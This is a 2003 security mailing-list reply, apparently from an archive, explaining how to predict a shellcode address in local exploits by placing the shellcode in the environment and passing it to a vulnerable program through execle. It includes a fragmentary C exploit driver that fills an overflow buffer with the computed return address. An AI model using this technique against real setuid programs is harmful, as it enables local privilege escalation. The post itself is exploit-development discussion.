Re: Automatic discovery of shellcode address

On Mon, 24 Mar 2003 steve@uk.intasys.com wrote:

> That wasn't the part that I was considering as being novel.

If you are exploiting a local vulnerability you can also use the even simpler env pointer technique to locate the shellcode.

int main()
{

	char *env[2] = {sc, NULL};
	char buf[BUF];
	int i;

	int *ap = (int *)(buf + ALIGN);
	int ret = 0xbffffffa - strlen(sc) - strlen("./vuln-program");

	for (i = 0; i < BUF - 1; i += 4)
		*ap++ = ret;
	*ap = 0x0;

	execle("./vuln-program", "vuln-program", buf, NULL, env);

As you can see, for ./vuln-program shellcode will always be at:

0xbffffffa - strlen(sc) - strlen("./vuln-program")

Cheers,

:raptor

Antifork Research, Inc.                 0xdeadbeef | raptor's labs
http://www.antifork.org                 
http://www.0xdeadbeef.info

Do you need help?

In addition to our free technical library, Pantek provides professional IT services to companies who utilize Open Source software: Learn more about Pantek's Technical Support offerings Place an order for 24/7/365 Technical Support here Learn more about Pantek, who we are, and what we do Chat with a Live Operator Related securityfocus.com Links bugtraq certification focus-bsd focus-ids focus-ih focus-linux focus-ms focus-sun focus-unix-other focus-virus forensics incidents libnet linux-secnews ms-secnews pen-test secpapers secprog sectools secureshell security-basics securityjobs sf-news vuln-dev webappsec Request more information about Pantek